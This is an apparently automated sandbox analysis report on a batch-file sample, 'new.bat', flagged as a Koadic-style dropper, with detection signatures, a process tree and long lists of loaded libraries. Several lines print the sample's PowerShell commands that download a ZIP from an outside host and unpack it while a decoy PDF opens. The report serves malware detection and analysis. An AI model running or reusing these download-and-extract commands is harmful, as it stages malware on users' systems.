Edit tour

Windows Analysis Report
new.bat

Overview

General Information

Sample name:	new.bat
Analysis ID:	1500640
MD5:	4269b91b4c2c00e8d28345e3cc6cf1a9
SHA1:	d4ebd822c7bb237127df4bebd9e176938060286c
SHA256:	545687c9f5fcfba81ee854cc83694b5b2e27f9e16e435662b5194d45d07e0f57
Tags:	bat
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

AI detected suspicious sample

Found large BAT file

Loading BitLocker PowerShell Module

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7888 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 8012 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DTBZGIOOSO.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1508,i,1077775855205857416,457621313890120960,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 8028 cmdline: timeout /t 5 REM Wait for PDF to open (adjust timeout as needed) MD5: 100065E21CFBBDE57CBA2838921F84D6)

powershell.exe (PID: 8132 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4724 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 5596 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
new.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x59:$s2: :~48,1%% 0x64:$s2: :~17,1%% 0x6f:$s2: :~29,1%% 0x7a:$s2: :~25,1%% 0x85:$s2: :~4,1%% 0x8f:$s2: :~42,1%% 0x9a:$s2: :~4,1%% 0xa4:$s2: :~20,1%% 0xaf:$s2: :~20,1%% 0xc5:$s2: :~32,1%% 0xd0:$s2: :~17,1%% 0xdb:$s2: :~23,1%% 0xe6:$s2: :~13,1%% 0xf1:$s2: :~4,1%% 0xfb:$s2: :~29,1%% 0x106:$s2: :~49,1%% 0x111:$s2: :~13,1% 0x122:$s2: :~42,1%% 0x12d:$s2: :~44,1%% 0x138:$s2: :~30,1%%

Sigma Signatures

System Summary

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4724, TargetFilename: C:\Users\user\Downloads\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 8132, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 8132, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 8132, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5596, ProcessName: svchost.exe

Source:	Binary string: <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file.</p></li> source: 3.2.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><p>The <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> class constructor now accepts a <em>nosigint</em> argument.</p></li> source: 3.2.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-S.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-R.html.16.dr
Source:	Binary string: <li><p>A <code class="file docutils literal notranslate"><span class="pre">.pdbrc</span></code> script file can contain <code class="docutils literal notranslate"><span class="pre">continue</span></code> and <code class="docutils literal notranslate"><span class="pre">next</span></code> commands source: 3.2.html.16.dr

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7896:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DTBZGIOOSO.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1508,i,1077775855205857416,457621313890120960,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\DTBZGIOOSO.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://trackmyshipqng.site:5502/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DesusertionPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1508,i,1077775855205857416,457621313890120960,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
